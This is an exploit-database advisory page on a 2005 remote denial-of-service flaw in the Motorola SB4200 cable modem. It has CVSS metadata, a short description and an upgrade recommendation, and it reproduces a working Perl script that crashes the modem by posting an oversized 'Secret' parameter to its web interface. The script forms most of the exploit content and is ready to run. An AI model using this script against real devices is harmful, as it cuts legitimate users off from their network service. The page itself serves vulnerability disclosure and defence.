Motorola SB4200 Remote Denial-of-Service Vulnerability

vendor:

SB4200

by:

Dave Gil

7.5

CVSS

HIGH

Remote Denial-of-Service

400

CWE

Product Name: SB4200

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Motorola SB4200 Remote Denial-of-Service Vulnerability

Motorola SB4200 is prone to a remote denial-of-service vulnerability. This may permit an attacker to crash affected devices, denying further network services to legitimate users. An attacker can exploit this issue by sending a POST request with a large value for the 'Secret' parameter.

Mitigation:

Upgrade to the latest version of Motorola SB4200.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/20309/info

Motorola SB4200 is prone to a remote denial-of-service vulnerability.

This may permit an attacker to crash affected devices, denying further network services to legitimate users.

#!/usr/bin/perl -w
###################################################
# Remote Motorola SB4200 DoS attack.              #
# By Dave Gil.                                    # 
# Infosec Labs                                    #
###################################################

use strict; 
use HTTP::Request::Common qw (POST GET); 
use LWP::UserAgent; 
my $ua = LWP::UserAgent->new(); 
my $url = "http://192.168.100.1/"; 
my $req = $ua->post( $url, [MfcISAPICommand => 'SecretProc', Secret => 'A' x int rand(4000)]);

print "The DoS has been sent.";
exit();